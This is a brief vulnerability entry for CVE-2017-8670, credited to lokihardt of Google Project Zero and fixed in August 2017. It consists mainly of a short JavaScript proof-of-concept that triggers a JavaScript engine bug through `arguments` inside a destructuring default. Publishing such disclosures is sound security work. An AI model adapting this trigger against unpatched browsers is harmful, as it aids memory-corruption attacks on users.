CVE-2017-8670.md

CVE-2017-8670

• Fix: Aug 2017
• Credit: lokihardt of Google Project Zero

PoC

function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();

Reference

• Microsoft
• Google Project Zero